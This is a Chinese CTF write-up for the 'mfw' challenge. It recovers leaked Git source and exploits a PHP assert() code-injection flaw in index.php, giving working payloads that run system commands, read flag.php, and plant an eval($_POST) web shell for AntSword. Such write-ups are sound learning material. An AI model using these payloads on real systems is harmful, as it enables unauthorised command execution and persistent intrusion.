zoukankan      html  css  js  c++  java
  • mfw

    mfw

    进去之后,在About界面得到提示,写这个网站用了Git,PHP,Bootstrap(一个网站框架)

    想到Git泄露,用dirsearch扫一下,发现果然有git泄露

    然后再用GitHack扫一下,githack的本质是解析/.git下的index文件,然后去objects找到相应文件并下载,然后我们得到源码。

    查看下目录,发现个flag.php,但是没有什么东西,因为这个git是故意泄露的,经过了某步处理(我也不清楚除了了啥)。。所以没有flag.

    这里我们通过git泄露下载的源码,除了flag.php不是网页的源码外,其余的源码和结构都与题目网页相同。

    审计代码发现只有index.php内的信息有用。

    代码审计

    <?php
    
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    ?>
    

    assert()函数,会将里面的字符串当作php代码执行,返回的结果是True或者False

    Bool or Bool 语句,若前面为False,则执行后面的语句,为Ture则不执行后面的语句

    strpos()函数,返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。


    这里审计代码发现有个assert()函数,并且没有对$page变量进行过滤,进而我们可以控制$file参数,然后利用闭合,来执行我们的payload

    构造

    ?page=abc','..') or system('ls');//

    我们的$file参数就是

    templates/abc,'..') or system('ls');//.php

    在assert函数里就是

    assert("strpos('templates/abc,'..') or system('ls');//.php, '..') === false") or die("Detected hacking attempt!");

    这里//起到注释作用,因为'templates/abc'里没有..自然返回False,然后执行or后面的语句,来达到任意命令执行。

    构造

    ?page=abc','..') or system('cat templates/flag.php');//

    拿到flag

    当然我们也可以利用file_get_contents函数,再右键查看源码

    abc','..') or var_dump(file_get_contents("templates/flag.php"));//

    但是这时显示的却是

    经测试


    原因是返回的NULL,NULL==false,所以会执行die

    或者是构造?page=abc','..') or eval($_POST['hacker']);//

    然后蚁剑连接,拿到shell

    这题跟ctfhub的git泄露都可以还原源代码,但是ctfhub侧重于git的基本操作,而这题侧重于代码审计。

  • 相关阅读:
    delphi 字符串查找替换函数 转
    Delphi流的操作
    【BZOJ1316】树上的询问 点分治+set
    【BZOJ2406】矩阵 二分+有上下界的可行流
    【BZOJ1853/2393】[Scoi2010]幸运数字/Cirno的完美算数教室 DFS+容斥
    【BZOJ4999】This Problem Is Too Simple! 离线+树状数组+LCA
    【BZOJ2427】[HAOI2010]软件安装 Tarjan+树形背包
    【BZOJ3217】ALOEXT 替罪羊树+Trie树
    【BZOJ1336】[Balkan2002]Alien最小圆覆盖 随机增量法
    【BZOJ3435】[Wc2014]紫荆花之恋 替罪点分树+SBT
  • 原文地址:https://www.cnblogs.com/NineOne/p/13871715.html
Copyright © 2011-2022 走看看